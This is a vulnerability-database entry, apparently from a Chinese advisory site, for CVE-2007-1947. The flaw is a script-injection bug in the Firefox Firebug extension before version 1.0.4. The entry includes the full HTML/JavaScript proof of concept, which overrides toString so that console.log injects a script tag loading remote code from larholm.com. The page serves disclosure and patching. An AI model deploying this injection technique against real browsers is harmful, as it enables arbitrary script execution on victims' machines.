Firebug extension DOM templates 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112369 漏洞类型 未知
发布时间 2007-03-06 更新时间 2007-04-10
CVE编号 CVE-2007-1947 CNNVD-ID CNNVD-200704-123
漏洞平台 Multiple CVSS评分 3.5
|漏洞来源
https://www.exploit-db.com/exploits/29820
https://www.securityfocus.com/bid/86386
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-123
|漏洞详情
MozillaFirefoxFirebugextension的console.log函数中的DOM模板存在跨区脚本攻击漏洞。远程攻击者可以借助一个特定的函数声明,绕过区限制和读取任意文件://URIs或执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/23349/info

Firebug is prone to a script-code-injection vulnerability because it fails to adequately escape user-supplied data.

An attacker can exploit this issue to execute arbitrary script code in the context of the application.

Versions prior to 1.04 are vulnerable. 

<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html>
|受影响的产品
Parakey Inc. Firebug 1.03
|参考资料

来源:larholm.com
链接:http://larholm.com/2007/04/06/more-0day-in-firebug/#comment-6
来源:BUGTRAQ
名称:20070406Re:FirefoxextensionsgoEvil-CriticalVulnerabilitiesinFirefox/Firebug
链接:http://www.securityfocus.com/archive/1/archive/1/464875/100/0/threaded
来源:MISC
链接:http://larholm.com/2007/04/06/more-0day-in-firebug/